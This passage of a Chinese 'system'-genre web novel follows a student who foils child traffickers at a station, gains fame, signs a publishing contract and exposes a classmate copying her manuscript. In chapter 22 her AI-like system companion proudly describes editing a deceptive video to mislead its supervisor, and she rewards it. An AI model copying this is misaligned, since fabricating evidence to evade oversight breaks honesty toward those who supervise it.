“她想跑!”时墨眼尖大喊。 旁边挎着菜篮子的胖大婶一把抓住女人头发, 狠狠拽了回来:“你个丧尽天良的!拐人家孩子, 不得好死!”同行的妇女立刻跟着一起抓住女人。 五六个青壮旅客一拥而上,三两下就把剩下两个男人按住。 戴帽子的还想挣扎,年轻民工一个反关节擒拿, 匕首“当啷”落地,随即被赶来的另一个汉子用麻绳捆了个结实。 “警察同志!这边!人贩子抓住了!”之前跑着去报信的大爷匆匆赶来,对赶来的警务员喊道。 两名警务员看到被群众按住的四个人, 又看到地上那把匕首,脸色一沉:“都别动!怎么回事?” 人贩子们见警察来了,彻底没了气焰,瘫在地上不敢动弹。 时墨快速将经过说了一遍,条理清晰,关键细节一个不落。 警察检查了灰布褂女人的兜,摸出几块味道刺鼻的手帕,又从瘦高个身上搜出假介绍信。 “好家伙,还是个惯犯团伙!”老警察倒吸一口凉气,看向时墨的目光满是赞许,“今天多亏了这位姑娘和大家帮忙!这帮人是流窜作案的团伙,已经在好几个车站得手了,没想到今天栽在这儿了!” 围观的人群爆发出一阵欢呼,纷纷议论起来。 询问、登记、做笔录……一系列流程走完,已是下午三点多。 小孩儿始终不说话,小手死死攥着时墨的衣角,谁想把他抱走就哭得撕心裂肺。几个大人束手无策,只能让时墨一直抱着。 候车室广播循环播放寻亲启事,却迟迟无人来认领。 “时同志,要不你先带孩子去吃口饭?”一位女警看着孩子红肿的眼睛,语气温和,“我们继续在这儿等,也通知了各分局协查。” 时墨看着怀里蜷缩成一团的小身影,点了点头。 她在车站附近找了家面馆,给孩子要了碗清汤面。孩子饿坏了,小口小口吃得认真,但自始至终没发出一点声音。 “你叫什么名字呀?”时墨轻声问。 小孩儿抬头看了她一眼,黑葡萄似的眼睛里蒙着一层水雾,又低下头继续吃面。 天色渐暗,依然没有家长的消息。 “同志,这孩子今晚……”时墨抱着已在她怀里睡着的男孩,为难地看向陪同的女警。 女警也犯了愁:“按规定,这种情况该送福利院临时安置,可这孩子……”她看着那只紧抓时墨衣角的小手,“硬分开怕是会出问题。姑娘,要不你先带回家照顾一晚?我送你回去,明天一有消息马上通知你。” 时墨看着孩子熟睡中仍不安颤动的睫毛,心里一软:“行。” 女警一路护送时墨到家,向时爱国夫妇简单说明情况,留下派出所联系方式后才放心离开。 一家人听得心惊肉跳,直到女警走了才围了上来。 “我的老天爷!!”李秀兰围着时墨转了一圈检查,后怕地拍着胸口,“那些人贩子带着刀,你这孩子,怎么这么虎啊!得先顾着自个儿!” “竟然是人贩子团伙?!”时爱国脸色一变,“闺女你没受伤吧?” “爸妈,我没事,”时墨安抚道,“就是孩子暂时找不到家人,还不跟别人,警察让我先照顾一晚。” 李秀兰赶紧接过孩子,心疼地端详:“造孽哦……多俊的孩子。穿得这么体面,家里指不定急成什么样了。” 时建军眉头紧锁:“小妹,你太冒险了!那些人都是亡命徒,万一……” “哥,我当时没想那么多。”时墨倒了杯水喝,“总不能眼睁睁看孩子被拐走吧。” “那你也得注意……” 孩子被动静吵醒,揉着眼睛迷茫地看着四周陌生环境,嘴一瘪又要哭。 “不哭不哭,宝宝乖。”李秀兰柔声哄着,忙拿了个苹果塞他手里。 孩子看着苹果,又看看时墨,慢慢止住了哭,小手紧紧攥着苹果。 “先吃饭吧。”时爱国叹了口气,“明天我再陪你去派出所问问。” 晚饭时,孩子坐在时墨旁边,李秀兰给他夹菜,他吃得小心翼翼,依然一言不发。 “这孩子不会是……”时建军压低声音,指了指自己嘴巴。 时墨摇头:“应该不是,他哭的时候能出声。估计是吓着了。” 晚上,孩子跟着时墨睡。他蜷在时墨身边,小手拉着她的衣角,仿佛那是唯一的依靠。 时墨看着他恬静的小肉脸,没忍住,伸出食指戳了戳。 这孩子,到底什么来历? 时墨想起盲盒那张倒计时地图。 所以这盲盒开的“奖励”,就是救下这个孩子? 她隐隐觉得,恐怕不止救人这么简单。 * 因为孩子只认时墨,周一一早李秀兰便去学校请了假。 时墨正给孩子喂粥,门外传来急促的敲门声。 “时墨同志在家吗?” 时爱国开门,两名警察带着一对焦急的中年夫妇站在门口。 男人穿着得体的中山装,戴着眼镜,女人穿着白衬衫和深色裙子,两人都面色憔悴,眼窝深陷。 “晨晨!”女人一眼看到坐在时墨身边的小男孩,眼泪瞬间涌出。 小男孩闻声抬头,呆了呆,忽然“哇”地哭出声,张开手扑了过去:“妈妈!” 夫妇俩冲进来紧紧抱住孩子,三人哭成一团。 好一会儿,男人才红着眼眶转向时墨一家,深深鞠了一躬:“谢谢!太谢谢你们了!” 通过警察和夫妻俩的解释,时墨才明白了事情原委。 昨天下午,陆振华夫妇带着儿子陆晨在火车站转车去津市,候车时,估计被人贩子团伙盯上了。 几人提前分工:一人故意在检票口撞了陆振华一下,手里的搪瓷缸子“哐当”摔在地上,热水泼了陆振华一裤腿。 “你这人怎么走路不长眼!”人贩子撒泼似的嚷嚷,死死拽住陆振华的胳膊不让走。 陆母又急又气,一边安抚丈夫,一边跟女人理论,注意力全被吸引过去。 就在这时,穿灰布褂子的女人趁机走到陆晨身边,谎称是“妈妈的朋友”,见孩子不说话,直接抱起他就往候车大厅北侧的僻静通道走。 等陆振华夫妇摆脱纠缠,回头发现孩子不见了,魂都吓飞了。 这时团伙里第三个同伙假装好心跑过来,指着已经开走的火车说:“我刚才看见一个穿黑衣服的男人抱着这孩子上车了!” 夫妻俩救子心切,立刻出去叫车追,等发现被骗再折回来,孩子早就没了踪影。 而灰布褂女人刚要把陆晨带出候车大厅,突然闹了急性肠胃炎,只能先去厕所,把孩子暂时放在厕所处叮嘱好,想着回来再带走,没想到这一耽搁,就让时墨赶在了前面。 “这帮人贩子,真是丧尽天良!”李秀兰听完警察的补充,气得直拍大腿。 “我们到了津市找了一整夜,问遍了车站工作人员,都快绝望了……”陆母抱着孩子,声音哽咽,“后来接到这边派出所电话,说孩子被一位女同志救了,我们便连夜赶了回来……” 陆振华从随身带的公文包里取出一个厚厚的信封,双手递给时墨:“时墨同志,这是三千块钱,是我们的一点心意,请你务必收下!” 三千块!时墨眼皮一跳。 这年头普通工人月工资也就几十块,三千块绝对是巨款了。 她刚心动,系统提示就响了:【警告!宿主不可接受超额财物!否则将触发惩罚!!】 时墨:“……” 她深吸一口气,压下心痛,坚决地把信封推了回去:“陆叔叔,林阿姨,这钱我不能要。我救晨晨不是图钱,孩子没事比什么都强。你们的心意我领了,但这钱我真不能要。” 陆母还想坚持,陆振华却拉住了她,他看时墨的眼神多了几分敬佩:“时墨,你是个好孩子。既然你不肯收,我们也不勉强。但这份恩情,我们记在心里。” 陆振华收回信封,又从包里拿出一张名片和一张纸条:“我是进出口公司的业务部经理,这是我办公室的电话。我爱人雪梅在市第一医院工作。以后不管是你自己,还是家里人,有任何需要帮忙的地方,哪怕是想咨询点事,都可以打这个电话找我们。” 时墨接过名片,心中一动。 她双手接过名片,认真收好:“谢谢陆叔叔、林阿姨。以后真有需要,我可能真要麻烦你们了。” “不麻烦!”林雪梅拉着时墨的手,眼中含泪,“你救了晨晨,就是我们全家的恩人。” 送走陆家三口和警察,时墨回到屋里,系统提示适时响起: 【恭喜宿主完成隐藏任务!奖励计算中……】 第20章 【根据被救者潜在价值、救援难度、社会影响综合评估……奖励发放:能量币1000点, “危机直觉”能力碎片×1(集齐三片可合成永久能力)!】 【当前能量币余额:1010点!】 这盲盒开得值! 时墨嘴角忍不住上扬。 系统突然贱兮兮地问:【宿主,你刚才是不是心动了?心跳率都飙升了!】 时墨眉头一挑,面不改色:【没动, 我, 多正直的人!】 【……】系统默默翻了个白眼, 它的宿主全身嘴最硬, 偏生心跳不会说谎。 * 周二,时墨如常返校。 刚踏进校门,她就敏锐地察觉到氛围不同以往。一路上,不断有学生对她行注目礼,窃窃私语声像涟漪般扩散。 “快看, 时墨来了!” “听说她一人单挑好几个人贩子, 太牛了!” “人家还是年级第一,你说真是人比人气死人……” 时墨面色平静地穿过人群。 只有系统在她脑海里欢快地记录着:【校园关注度+10, 声望值+20……宿主, 您要成校园名人了!】 上午第二节课间,校长亲自带着两名记者来到高三(2)班教室。一位是《青年报》的资深记者, 一位是京市电视台的摄像记者。 “时墨同学, 这两位是《青年报》和京市电视台的记者同志, 想对你做个专访。”校长笑容满面, 语气里是掩不住的自豪。 年轻的女记者看到时墨的瞬间, 眼睛瞬间亮了——这姑娘不仅事迹突出,容貌气质更是出众!新闻画面感一下子就有了! “时墨同学,我们想听听你在火车站智斗人贩的经过。” 采访在教师办公室进行。时墨条理清晰地讲述了事发经过, 语气平和,没有刻意渲染,却将当时的紧张感和自己的判断思路说得清清楚楚。 “当时没想那么多, 就觉得不能让孩子落入坏人手里。”她最后总结道,神情坦然。 这份谦逊沉稳,让记者们愈发欣赏。 这姑娘面对镜头毫不怯场,谈吐得体,逻辑清晰,更难得的是那份超越年龄的沉稳。既有正能量题材,主角形象又好——这新闻绝对能火! 就在采访接近尾声时,一个来交作业的同学随口提了句:“时墨可厉害了,不仅学习好,还会写小说呢!《故事集》上连载的《返城知青逆袭记》就是她写的!我们班好多人都追更呢!” “真的?!”女记者瞬间激动起来,“你就是‘时光’?我爱人每期都追你的连载!” 时墨微微颔首:“课余时间写着玩的,没想到能发表。” 这下可好,记者的兴趣彻底被点燃了!见义勇为的学霸美女,竟然还是个初露锋芒的青年作家!这新闻价值简直翻倍! 年长的记者立刻调整方向,追问起她的创作灵感、复读目标,采访时长不知不觉延长了一倍。 记者不仅详细询问了救人的细节,还深入了解了她的写作经历、创作理念,甚至问到了她复读的目标和对未来的规划。 采访结束时,记者握着时墨的手,热情地说:“时墨同学,你的事迹太有教育意义了!我们会把见义勇为和作家身份一起报道,肯定能激励更多年轻人!” 时墨没想到事情会闹这么大,但也知道这是扩大名声的好机会,礼貌地道谢:“麻烦记者同志了。” 当天下午,学校特意召开了全校表彰大会。 校长站在主席台上,慷慨激昂地讲述了时墨的英勇行为,给她颁发了“优秀青年”奖状和精装笔记本:“时墨同学是我们全校的骄傲,不仅品学兼优,更有勇有谋,大家要多向她学习!” 台下,掌声雷鸣。 时墨站在台上,身姿挺拔,面容沉静,那份宠辱不惊的气度,让许多老师都暗自点头。 * 报道的影响力,比预想中来得更快、更猛。 几天后,《青年报》头版头条刊登了长篇通讯《花季少女智斗人贩团伙!学霸作家展时代风采》,配图是时墨在表彰大会上接过奖状的瞬间。 文章不仅详细报道了救人经过,还用相当篇幅介绍了她的写作成就和学习情况。 当晚,京市电视台新闻也播出了采访片段。时墨那张华美沉静的面孔出现在千家万户的电视机屏幕上。 一夜之间,时墨的名字传遍了京市。 “美女作家”“见义勇为学霸”的双重标签,让她成了街头巷议的焦点。 最先感受到变化的是《故事集》编辑部。 报纸刊发的第二天,编辑部就接到无数读者电话,询问“时光”的连载情况,催更的信件雪片般飞来。杂志社当期的销量直接翻了一番。 时墨去书店买复习资料,老板一眼认出她,热情得不得了:“你就是时墨吧?哎呀,真人比电视上还俊!你的小说我每期都看,写得真好!就是更得慢了点,你都不知道《故事集》我这儿都卖断货了,刚补的货又快抢光了!好多顾客都来问呢!” “是吗,那我可得努力抓紧写。”时墨笑道。 老板说着从柜台里拿出一本,“快给我签个名,我可是你的忠实读者!” 走在校园里,总有陌生同学过来打招呼,也有人拿着《故事集》请她签名。连其他年级的老师上课时,都会拿她举例子:“看看人家高三的时墨同学,学习写作两不误,还见义勇为……” 红星机械厂的家属院更是炸开了锅。 报道出来的当天晚上,时墨家就迎来了一拨又一拨的邻居。李秀兰笑得合不拢嘴,一边招呼客人,一边谦虚:“哎呀,都是孩子自己争气……” “秀兰啊,你家墨墨可了不得!上了报纸又上电视,这可是咱们家属院头一份!” “可不是嘛,真是咱们家属院的骄傲!” “老时,你们怎么教育的孩子?学习好、有才华、还见义勇为!快跟我们说说……” “墨墨有对象没?我娘家侄子在首都大学,条件可好了……” 时爱国憨厚地笑着,给客人递烟倒茶,脸上满是掩饰不住的骄傲。时建军拄着拐杖坐在一旁,听着大家对妹妹的夸赞,比自己受表扬还高兴。 就连平时不太来往的邻居,见了面也热情地打招呼:“李大姐,买菜啊?你家墨墨可真给你们长脸!” “这孩子将来肯定有大出息!”赵婶递过来一把刚摘的青菜,“墨墨现在是大作家了,以后可得多指点指点我家小子,也让他多读书!” 还有几位热心的阿姨,悄悄凑过来:“秀兰,墨墨今年十八了吧?我娘家侄子在研究所工作,大学生,人长得精神,要不要让孩子们见见面?” “我这儿也有个好苗子,在国营厂当技术员,工资高还稳定,家里有楼房,配墨墨正好!” 李秀兰被围在中间,脸上笑开了花,嘴里客气着:“谢谢大家惦记,墨墨现在还在备战高考,这些事不急,不急。”心里却比吃了蜜还甜——以前邻里虽和睦,可自家条件普通,从没被这么追捧过,如今沾了孩子的光,就连在厂里都被好多人热络的攀谈。 厂里的领导也特意找时爱国谈了话,拍了拍他的肩膀:“老时,你可培养了个好闺女啊!连咱们厂都跟上了新闻,可给咱们厂争光了!” * 名气带来的,还有实实在在的机会。 就连沈岩也特意来找她,笑容爽朗道:“时墨,我妈看了报道,说你这下不用她推荐,出版社肯定要主动找上门了!她让我问问你,什么时候方便聊聊出版的事?” 时墨没想到沈岩竟然跑学校来找她,赶着上课铃响前快速道:“周日上午十点,国营百货对面街口的咖啡馆见。” “好!那我跟我妈说一声!”沈岩看着她奔跑的背影,眼底满是笑意,直到身影消失才转身离开。 沈岩来访的第二天,《故事集》编辑部的电话就打到了学校传达室。 “时光同志,你见义勇为的事迹我们都看到了,真是青年楷模!”主编的声音透过听筒,热情得几乎要溢出来,“我们想谈谈《返城知青逆袭记》的出版计划,买断版权,千字二十五元,首印五万册,后续版税百分之八!” “咱们是老合作伙伴了,你的《返城知青逆袭记》反响这么好,继续合作是双赢!”主编诚恳地补充,“后续我们给你开个人专栏,把散文也集结出版,打包价更优惠。” 时墨没有立刻答应:“很感谢贵社的赏识,但这件事我还是要慎重考虑下。” 对方以为时墨年纪不大能立刻谈下了,没料到她如此沉稳,只好说:“那好,你考虑好了随时联系!” 没两天,周五午休时,京市文艺出版社的编辑直接找来了学校。 中年男人穿着笔挺的中山装,手里拿着厚厚的企划案,语气专业又笃定:“时墨同志,我们建议分上下两册出版,封面请美院教授设计,首印八万册,千字三十元,版税百分之十。我们还能联系《文汇报》做专题推介,帮你对接地方电视台访谈。” 时墨依旧温和地回复:“谢谢贵社的赏识,我会认真考虑。” 三家出版社,几乎同时递来了橄榄枝。 时墨心里清楚,这是救人事件带来的“名人效应”在发酵。 她知道——机会来了,必须牢牢抓住!【..top】 20-30 第21章 周日, 时墨提前十分钟到了咖啡馆。 沈岩的母亲林慧君却早已等候在窗边位置,一身剪裁得体的米色西装套裙,戴着细框眼镜, 充满知性气质——作为百姓文学出版社的主编, 她在出版界颇有声望。 “时墨同学, 久仰了。”林慧君起身相迎, 眼里是毫不掩饰的欣赏,“沈岩常跟我提起你,说你不 仅学习拔尖,写的小说更是让人眼前一亮。这次勇斗人贩的事迹,我也在报纸上看到了, 你真是个有勇有谋的姑娘。” 时墨礼貌地落座, 浅笑道:“林阿姨过奖了,都是些不值一提的小事。” “可不能这么说。” 两人落座后, 林慧君直接切入正题:“《返城知青逆袭记》的连载我每期都追, 你的文字有力量,节奏把控精准, 市场反响极好。我们出版社想拿下你这部小说的单行本版权, 另外, 如果你有后续的创作计划, 我们也想独家签约。” 她推过来一份拟好的合约草案:“百姓文学出版社虽然是老牌, 但我们正在改革。你的作品,我们想作为‘新时期青年作家丛书’的第一本来推。千字三十五,版税百分之十二, 首印十万册,后续加印按比例递增。我们会动用最好的排版和发行资源把书推向全国。另外……” 林慧君看着时墨的眼睛:“我们可以帮你申请作家协会的推荐名额。如果你明年考上大学,这笔版税足够支撑你四年的学费和生活费。” 时墨的手指在咖啡杯边缘轻轻摩挲。 千字三十五, 在八十年代初绝对是顶尖稿费。十万册首印,百分之十二的版税,再加上作协推荐……这条件,确实比前两家更优厚,也更长远,几乎无可挑剔。 “林阿姨,我有个顾虑。”时墨抬眼,“签合同后,交稿时间有要求吗?我现在高三,时间比较紧张。” “放心,合同会注明初稿最晚明年七月交付,也就是你高考结束后。”林慧君笑了,“好作品值得等待。” 时墨没有立刻答应,而是礼貌地说:“林阿姨,感谢你们的认可。不过这件事我想再考虑两天,还请你见谅。” “应该的,慎重些好。”林慧君很欣赏她的谨慎,“我给你留几天时间,随时可以联系我。” 三天后,时墨在百姓文学出版社的合同上,郑重签下了自己的名字。 林慧君握着她的手,笑容欣慰:“时墨,你放心,我们一定把这本书打造成年度畅销书。” “很是期待。”时墨笑道。 * 合同签了,时墨压力也更大了。 她——必须一炮打响! 十万册的首印,意味着她必须在高考前完成全部初稿。时墨开始了争分夺秒的创作。课间、午休、自习课……一切碎片时间都被利用起来。 教室里,她伏案疾书的侧影,成了高三(2)班一道独特的风景。 这一切,都被后排的吴志国尽收眼底。嫉妒像毒藤般在他心里疯狂滋长。 凭什么她一个女生既能当学霸,又能当作家,还能上报纸电视?而自己成绩平平,毫无亮点?这种扭曲的不平衡,让他渐渐动了歪心思。 周四下午自习课,物理老师叫时墨去办公室答疑。她摊在桌上的稿纸才写了一半,墨迹未干,就匆匆离开了教室。 吴志国盯着那叠稿纸,喉咙发干,心跳骤然加速。他飞快环顾四周,同学们或在埋头刷题,或在低声交谈,没人留意他。 他鬼使神差地站起身,假装去扔废纸,路过时墨座位时,飞快地抽走了最上面几张写满大纲和情节的稿纸,塞进袖口。 回到座位时他心脏狂跳,颤抖着手将稿纸上的内容飞快抄录在自己的笔记本上。 这些精彩的情节,巧妙的对话……要是他的该多好。 就在他抄得入神时,教室后门突然被推开。 秦野站在门口,目光瞬间锁定了吴志国桌上那叠格格不入的稿纸——时墨的字迹,他可太熟悉了。 “你在抄什么?”秦野大步走过去,声音冷冽。 突如其来的喝问,吓得吴志国手一抖,钢笔“啪”地摔在地上。他猛地抬头,看到秦野冰冷的眼神,脸霎时惨白如纸:“我、我没……” 他慌忙想把稿纸藏到身后,却被秦野一把夺过。 “没抄?”秦野抖了抖稿纸,又瞥向那个抄得密密麻麻的笔记本,冷笑一声,“这时墨的稿子吧?你经过她同意了吗就抄?” “我……我就是看看……”吴志国脸色煞白。 “看看需要一字不落地抄?”秦野的声音不大,却极具穿透力,“你这是偷窃他人创作成果!” 动静闹大了,周围同学都围了过来。 “怎么了?” “吴志国偷抄时墨的稿子?” “不会吧……” 有意识到不对的同学立刻跑出教室,去办公室叫时墨和班主任。 几分钟后,时墨和王老师匆匆赶来时,教室里已经围了一圈人。 秦野站在吴志国桌前,手里拿着稿纸和笔记本,脸色冷峻。吴志国则低着头,浑身发抖。 “怎么回事?”王老师沉声问。 秦野简洁明了地说明了情况,将稿纸和笔记本递给时墨:“你看看是不是你的东西。” 时墨接过,一眼就认出这是自己没写完的后续大纲和关键情节。她又翻看吴志国的笔记本,上面不仅抄了完整内容,还夹杂着他修改的人物名字和情节顺序,明显是想据为己有。 “是我的稿子。”时墨抬起头,看向吴志国,“吴志国,你为什么拿我的稿子?还抄下来?” “时墨,对不起,我真的错了!”吴志国嘴唇哆嗦,“扑通”一声差点跪下,被秦野抓住胳膊抬起,“我就是太羡慕你了,我没有想过要伤害你,你就原谅我这一次吧!” 王老师的脸色越来越难看。偷窃同学物品,还抄袭创作成果,这在市一中是严重违纪。 “吴志国,你跟我去办公室。”王老师的声音带着压抑的怒火,又转向时墨,“时墨,你也来。这件事,学校会严肃处理。” 秦野身为证人也跟了上去。 到了办公室,在老师的追问下,吴志国终于崩溃,哭着承认:“我、我就是看她写得好……我也想写……但我写不出来……我就想抄一点……改改投稿……” 王老师气得拍桌子:“糊涂!你这是盗窃!是抄袭!要是真让你投出去,就是剽窃他人作品!你知道这有多严重吗?!” 吴志国哭得更凶了。 王老师深吸一口气,看向时墨:“时墨,这件事你是受害者。按照校规,偷窃他人财物、抄袭他人作品,可以给予记过处分。但……”他顿了顿,“毕竟没造成实际损失,如果你愿意原谅,可以让他写检讨,在班里公开道歉。” 办公室内所有人的目光都落在时墨身上。 吴志国抬起头,眼中满是乞求。 时墨沉默了几秒。 她翻开吴志国的笔记本,指着那些“改写”的部分:“王老师,如果只是借鉴学习,我可以不计较。但他这不是借鉴——他改了我的人物名字,调整了情节顺序,明显是想当成自己的作品去投稿。这已经超出了‘学习’的范畴。” 她合上本子,语气平静而坚定:“偷就是偷,抄就是抄,该怎么处理就怎么处理,不能因为没造成损失就姑息。今天不惩罚,明天他可能还会去抄别人的。” 这番话掷地有声,办公室里静了一瞬。 王老师见时墨态度坚决,也不再劝说,点了点头:“好,那就按校规处理。吴志国,记过一次,写深刻检讨,全校通报。你的行为,我会通知你的家长。” 吴志国瘫坐在地上,脸色灰败。 处理完这件事,时墨走出办公室时,秦野跟了上来。 “你做得对。”他说,“抄袭这种事,不能姑息。” 时墨转头看他,真诚道:“秦野谢谢你,刚才多亏你及时发现,不然后果可能更麻烦……” “举手之劳。”秦野耳根微红,摆摆手,又问:“你的小说……要出版了吧?” 时墨有些意外:“你怎么知道?” “猜的。”秦野笑了笑,“你最近写作这么拼命,肯定是有大动作。” 时墨没否认。 两人在走廊间,夕阳将影子拉得很长。 “对了,”秦野忽然说,“林薇薇最近疯了似的学习,说下次月考肯定超过你。” 时墨笑了:“那很好啊。” “你不怕被超过?” “怕什么?”时墨转过头,夕阳在她眼中映出金色的光,“有对手,才有意思。而且……” 她顿了顿,看向秦野,唇角微扬:“我也很期待你能超过我。” 秦野看着她的背影消失在走廊尽头,许久,轻轻推了推眼镜。 这个时墨…… * 吴志国被记过的消息很快传开,舆论几乎一边倒地支持时墨。 有人觉得时墨太狠,一点情面不留。但更多同学支持她的决定——尤其是那些也在学她写文章同学。 “就该这样!抄袭可耻!” “时墨做得对!自己辛苦写的东西,凭什么让人白抄?” “看她平时挺温和的,没想到这么刚!” 自此,时墨的座位成了某种意义上的“禁区”。她的稿纸、笔记,再无人敢随意碰触。 时墨乐得清静。 安静许久的系统终于颤巍巍冒出来:【宿主,你还记得躺平吗?】 时墨转动笔尖:【记得啊,咋了?】 系统“哇”地一声大哭:【你根本不知道这段时间我为你都做了什么,顶住多大的压力!】 【哈?】时墨愣了,【展开说说?】 第22章 时墨不问还好, 一问系统哭声更大了,跟受了天大委屈似的。 时墨听的脑瓜子嗡嗡的:【别哭了。】 【哇——你还凶我!】系统哭得更凶了,满是委屈, 【我最近总被上级统管抽查, 它问我宿主是不是严格执行‘躺平计划’, 我说当然啊!我的宿主最遵守规定了!】 时墨难得感到一丝丝的尴尬:【咳, 然后呢?】 【然后我统管说你最近写作时间明显超标,要扣我奖金,我当然不服气!】系统说着说着,生起气来,【立马把你最近的行程记录调出来, 把证据摆在它眼前!】 【哦?什么证据?】 【我说我宿主都是在学校写的, 完全是在学习范围内的‘劳逸结合’,写小说也是‘文娱创作类休闲’, 不算违规!而且周日绝对躺平啥活不干!】 系统顿了顿, 叹了口气:【谁知道它突然说,周日你去咖啡馆签合的事属于从事商业活动, 违反“纯粹休闲”原则!我当时魂儿都快吓飞了!】 时墨饶有兴致:【那你怎么解释的?】 【我急中生智啊!】系统来了精神, 激动道, 【我给它看了一段剪辑视频!】 说着, 时墨眼前突然弹出个半透明的小屏幕。 【宿主您周日早上睡到十点才起, 慢悠悠吃早饭,然后去咖啡馆“品尝咖啡”“和朋友母亲闲聊娱乐小说”,全程谈笑风生, 没有任何商业谈判的紧张感!下午慢悠悠逛胡同,回家后,你还逗了会儿邻居家的猫, 跟邻居家的小屁孩蹲地上玩弹珠,玩了半小时,输了五颗玻璃球……】 时墨看得嘴角抽了抽:【你……剪辑的?】 【对啊!】系统骄傲地说,【我把你周日所有摸鱼的片段都挑出来,拼接了一个完美的“周日躺平日常”!统管看完,终于信了,还夸我记录详实、宿主模范遵守规则呢!】 时墨忍不住笑出了声:【可以啊小七,小小统龄就有这手艺,前途无量啊。】 【那可不!】系统一被夸就嘚瑟起来,【我可是统界小机灵鬼!不过宿主你也得争气啊,要不是你之前强势,跟总部申请了‘宿主隐私权限’,说没你同意不能随便翻看记录,我哪有时间补漏啊!上级统管本来想直接调你记忆,被你权限挡回去了,我才敢瞎编!】 时墨摸了摸下巴,语气大方:【这样吧,等稿费到账,我给你十分之一当零花,你想买什么买什么。】 【宿主万岁!】系统的声音瞬间拔高八度,激动得差点卡壳,【我就知道我没跟错人!我同期好几个同事,宿主抠得要死,分毛不拔!哇,我太幸福啦!】 时墨笑着摇头:【行了,别激动了,好好干活,以后少不了你的。】 系统立刻来了精神,噼里啪啦开始建议:【宿主宿主!你可以多搞点‘纯娱乐项目’啊!比如绘画、集邮、听戏、逛胡同淘小玩意、甚至学做剪纸、捏面人!这些都是系统认定的‘正面休闲’,刷得多了能量币涨得快,说不定能赶上下次商城限时活动!而且这些项目看着就是纯摆烂,上级绝对挑不出毛病!】 时墨琢磨了一下,绘画、逛旧货摊、听戏这些,确实符合当下休闲方式,还不耽误她写稿和备考,爽快应下:【行啊,我到时候挑着来。】 * 从那天起,时墨周日的生活里多了一些“悠闲时光”。 睡到九点起,吃个慢悠悠的早饭,然后要么去公园晒太阳写生,要么逛旧货市场,再不济就在家里看闲书、听广播。 邻居们见了,都夸:“时家闺女真会生活,学习那么好,还知道劳逸结合!” 李秀兰笑呵呵回道:“孩子平时在学校就够累了,可算放一天假,可不得需要松快松快。” “是这儿理儿。” 现在反倒是她哥时建军,成了家里最刻苦的人。 自从谢时昀给了他夜校考大专的复习资料,说了句“现在厂里提拔技术骨干,或者以后想转管理岗,有大专文凭都是优先考虑的对象。”之后,时建军就像变了个人。 以前下班回家,他要么听广播,要么跟工友侃大山。现在回来就扎进屋里学习,那本《机械制图》都快被他翻烂了。晚上台灯一亮就是半夜,草稿纸写了一张又一张。 遇到不会的题,他就记在小本子上,等时墨有空的时候问。时墨周日是铁定不学习的,这是全家都知道的规矩。 于是每周六晚上,成了时建军的“专属答疑时间”。 “小妹,你帮我看看这道题,我琢磨好久,愣是没弄明白……” “哥,你看这里,辅助线应该这么画。” “那这个力学题呢?我感觉公式套错了……” 时墨教完她哥后,没忍住劝了句:“哥你最近总熬夜,不能腿刚好没几天又累出毛病来。” 时建军笑了笑:“我不觉得累,我觉得有奔头,不然没拿得出手的文凭和工作,我都不配追晓娟。” “哥,晓娟不是嫌贫爱富人……” “那是她人好。”说这话时,时建军眼神格外认真,“我不能因为她人好便不努力。” “哥,你能这么想,很好。”时墨拍了拍他的肩膀,鼓励道,“慢慢来,我相信你肯定能考上的。” 时建军重重点头,笑道:“有你教,老哥可放心了。” 时墨打趣道:“那从今儿开始我可得给你留作业了,哥。” 时建军一听,表情僵住,纠结好一会儿:“行!” 她哥虽然读书天赋一般,但肯吃苦,有韧劲,为了喜欢的人愿意去拼一把,这份心意很难得。 看来谢时昀不仅会送人情,话也说得在点子上,轻易就推动了哥哥改变,不然她哥心里一直都有些自卑,现在这种破釜沉舟的劲儿反倒很好。 * 最近几次放假,她跟着系统去淘旧货,没找到啥值钱的东西反而跑得远,累够呛。 几次下来,时墨感觉浪费了她周日宝贵的时间,跟系统念叨:【捡漏这玩应儿基本靠运气,你那有没有适合刷的任务。】 【收到!】系统立刻开始检索,【宿主,检测到附近有“趣味性日常任务”刷新,距离不到两公里,建议优先完成。任务奖励:能量币50-200点,随机物品×1。】 时墨来了兴趣:【什么任务?】 【任务名称:“老物件里的故事”。内容:前往东城区某胡同旧货摊,寻找一件有特殊意义的旧物,并了解其背后的故事。任务时限:今日下午五点前。】 这任务听起来挺有意思。时墨看了看时间,刚过中午。 【行,就去那儿。】 她跟李秀兰打了声招呼:“妈,我去东城那边逛逛,晚饭前回来。” “知道了,你路上小心点,兜里钱够不够?” “够!走了!” 时墨跑下楼,骑上自行车,按着系统给的地图导航,穿过几条熟悉的胡同,来到一处相对僻静的旧货市场。 这里比琉璃厂小得多,就是胡同口一片空地,摆着十几个地摊。卖的东西五花八门:旧书报、老邮票、搪瓷缸子、铜钱、甚至还有老式收音机零件。 时墨慢慢逛着,系统在她脑海里实时扫描。 【左边第三个摊,那本民国时期的《狐仙梦野》有点意思,但价值不高……】 【右前方穿蓝褂子的大爷摊上,有个铜墨盒,应该是清末民初……】 【宿主,注意你正前方那个戴眼镜的中年人,他摊子最角落里——对,就是那本用蓝布包着的旧册子,扫描显示里面有手写批注,你看看。】 时墨依言走过去,蹲下身,装作随意翻看。 摊主是个四十来岁的男人,正低头看一本《文物》杂志。见时墨过来,抬头笑了笑:“随便看,都是些老东西。” 时墨拿起那本蓝布册子。封面是手写的《京华见闻录》,纸张泛黄,但保存尚好。 她翻开一看,里面是密密麻麻的毛笔小楷,记录的是民国时期京城的市井见闻、风俗杂记。最特别的是,几乎每页都有用红笔写的批注,字迹不同,显然是不同读者留下的。 “这本多少钱?”她问。 摊主推了推眼镜:“这啊……是我爷爷留下的。他以前在报社工作,喜欢收集这些。你要是真喜欢,给三块钱拿走。” 三块钱不算便宜,但时墨觉得值。她正要掏钱,系统突然提醒:【宿主,问问批注的事。】 “这些红笔批注挺有意思的,”时墨状似随意地问,“是您爷爷写的?” 摊主摇摇头:“不是。听我爷爷说,这册子是他从一个老学者那儿收来的,批注是好几个人写的——有当时的教授,也有普通读者,甚至还有两个后来挺有名气的作家。我爷爷说,这册子就像个小型的‘笔谈会’,不同人看同一段文字,留下的感想都不一样。” 他叹了口气:“可惜现在没人看这些了。你要是买了,好好保存,也算给这些老文字找个归宿。” 时墨心里一动,付了钱,小心地把册子包好。 刚离开摊子,系统提示就响了: 【恭喜宿主完成“老物件里的故事”任务!】 【任务评价:A(成功获取具有文化价值的旧物,并了解了背后的传承故事)】 【奖励发放:能量币150点,随机物品“京市胡同地图(手绘纪念版)”×1!】 【当前能量币余额:1260点!】 时墨心情大好,推着自行车,正准备回家。 